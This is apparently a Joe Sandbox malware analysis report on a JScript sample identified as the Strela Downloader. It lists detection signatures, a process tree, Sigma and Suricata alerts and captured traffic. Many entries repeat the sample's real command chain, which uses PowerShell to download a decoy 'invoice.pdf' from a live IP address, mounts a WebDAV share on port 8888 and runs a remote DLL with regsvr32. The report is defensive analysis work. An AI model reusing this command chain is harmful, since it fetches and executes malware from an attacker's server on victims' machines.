Edit tour

Windows Analysis Report
10259286552329511027.js

Overview

General Information

Sample name:	10259286552329511027.js
Analysis ID:	1587656
MD5:	01b1ff16e39a314abb7633d9013d8340
SHA1:	004922533ce484c88402992851c93c55aef179d4
SHA256:	65e724a5ed627aeddccfcaf0a710cdf26a43646fabf6359d7357a59804fe6404
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1016 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10259286552329511027.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1668 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 772 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 616 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1524 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5336 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1640,i,7274953226227197798,14640335884010176928,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1072 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3492 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 316 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1016	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1668, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 772, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1668, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 772, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10259286552329511027.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10259286552329511027.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10259286552329511027.js", ProcessId: 1016, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3492, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49779

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10259286552329511027.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1016, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ProcessId: 1668, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10259286552329511027.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1016, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ProcessId: 1668, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10259286552329511027.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1016, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ProcessId: 1668, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10259286552329511027.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1016, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ProcessId: 1668, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10259286552329511027.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1016, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ProcessId: 1668, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10259286552329511027.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10259286552329511027.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10259286552329511027.js", ProcessId: 1016, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1668, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 772, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1072, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3492, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 316, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1072, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3492, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10259286552329511027.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1016, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ProcessId: 1668, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T16:25:27.336420+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49779	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T16:25:24.686774+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49763	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 10259286552329511027.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 10259286552329511027.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49779 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 15:25:24 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49779

Source: global traffic

TCP traffic: 192.168.2.9:49779 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49763 -> 193.143.1.205:80

Source: global traffic

